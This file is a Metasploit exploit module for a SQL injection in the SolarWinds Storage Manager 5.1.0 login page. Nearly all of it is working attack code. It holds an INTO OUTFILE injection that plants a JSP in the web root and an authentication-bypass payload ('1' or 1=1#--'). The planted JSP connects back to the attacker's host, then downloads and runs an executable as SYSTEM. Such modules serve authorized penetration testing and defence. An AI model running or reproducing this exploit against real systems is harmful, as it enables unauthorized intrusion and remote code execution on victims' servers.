##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Solarwinds Storage Manager 5.1.0 SQL Injection",
      'Description'    => %q{
          This module exploits a SQL injection found in Solarwinds Storage Manager
        login interface.  It will send a malicious SQL query to create a JSP file
        under the web root directory, and then let it download and execute our malicious
        executable under the context of SYSTEM.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'r@b13$', # Original discovery by Digital Defense VRT
          'muts',   # PoC
          'sinn3r'  # Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '81634'],
          ['EDB', '18818'],
          ['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
          ['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00",
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => "none"
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Win XP / 2003 / Vista / Win 7 / etc
          ['Windows Universal', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2011-12-07',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('RPORT', [true, 'The target port', 9000])
      ])

    self.needs_cleanup = true
  end


  #
  # A very gentle check to see if Solarwinds Storage Manage exists or not
  #
  def check
    res = send_request_raw({
      'method' => 'GET',
      'uri'    => '/LoginServlet'
    })

    if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
      res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end


  #
  # Remove the JSP once we get a shell.
  # We cannot delete the executable because it will still be in use.
  #
  def on_new_session(cli)
    if cli.type != 'meterpreter'
      print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
      return
    end

    cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

    begin
      jsp = @outpath.gsub(/\//, "\\\\")
      jsp = jsp.gsub(/"/, "")
      print_warning("#{rhost}:#{rport} - Deleting: #{jsp}")
      cli.fs.file.rm(jsp)
      print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
    rescue ::Exception => e
      print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
    end
  end


  #
  # Transfer the malicious executable to our victim
  #
  def on_client_connect(cli)
    print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
    cli.put(@native_payload)
    service.close_client(cli)
  end


  #
  # Generate a download+exe JSP payload
  #
  def generate_jsp_payload
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
    my_port = datastore['SRVPORT']

    # tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
    # This will download our malicious executable in base64 format, decode it back,
    # save it as a temp file, and then finally execute it.
    jsp = %Q|
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    <%@page import="sun.misc.BASE64Decoder"%>

    <%
    StringBuffer buf = new StringBuffer();
    byte[] shellcode = null;
    BufferedOutputStream outstream = null;
    try {
      Socket s = new Socket("#{my_host}", #{my_port});
      BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
      while (buf.length() < #{@native_payload.length}) {
        buf.append( (char) r.read());
      }

      BASE64Decoder decoder = new BASE64Decoder();
      shellcode = decoder.decodeBuffer(buf.toString());

      File temp = File.createTempFile("#{@native_payload_name}", ".exe");
      String path = temp.getAbsolutePath();

      outstream = new BufferedOutputStream(new FileOutputStream(path));
      outstream.write(shellcode);
      outstream.close();

      Process p = Runtime.getRuntime().exec(path);
    } catch (Exception e) {}
    %>
    |

    jsp = jsp.gsub(/\n/, '')
    jsp = jsp.gsub(/\t/, '')

    jsp.unpack("H*")[0]
  end


  #
  # Run the actual exploit
  #
  def inject_exec
    # This little lag is meant to ensure the TCP server runs first before the requests
    select(nil, nil, nil, 1)

    # Inject our JSP payload
    print_status("#{rhost}:#{rport} - Sending JSP payload")
    pass = rand_text_alpha(rand(10)+5)
    hex_jsp  = generate_jsp_payload

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/LoginServlet',
      'headers'   => {
        'Accept-Encoding' => 'identity'
      },
      'vars_post'  => {
        'loginState' => 'checkLogin',
        'password'   => pass,
        'loginName'  => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
      }
    })

    # Pick up the cookie, example:
    # JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
    if res and res.get_cookies =~ /JSESSIONID=(\w+);/
      cookie = res.get_cookies
    else
      print_error("Unable to get a session ID")
      return
    end

    # Trigger the JSP
    print_status("#{rhost}:#{rport} - Trigger JSP payload")
    send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/LoginServlet',
      'headers'   => {
        'Cookie' => cookie,
        'Accept-Encoding' => 'identity'
      },
      'vars_post' => {
        'loginState' => 'checkLogin',
        'password'   => pass,
        'loginName'  => "1' or 1=1#--"
      }
    })

    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => "/#{@jsp_name + '.jsp'}",
      'headers' => {
        'Cookie' => cookie
      }
    })

    handler
  rescue ::Exception => e
    print_error("Failure attempting to inject exe: #{e.message}")
    cleanup
  end


  #
  # The server must start first, and then we send the malicious requests
  #
  def exploit
    # Avoid passing this as an argument for performance reasons
    # This is in base64 is make sure our file isn't mangled
    @native_payload      = [generate_payload_exe].pack("m*")
    @native_payload_name = rand_text_alpha(rand(6)+3)
    @jsp_name            = rand_text_alpha(rand(6)+3)
    @outpath             = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""

    begin
      t = framework.threads.spawn("reqs", false) { inject_exec }
      print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
      super
    ensure
      t.kill
    end
  end
end
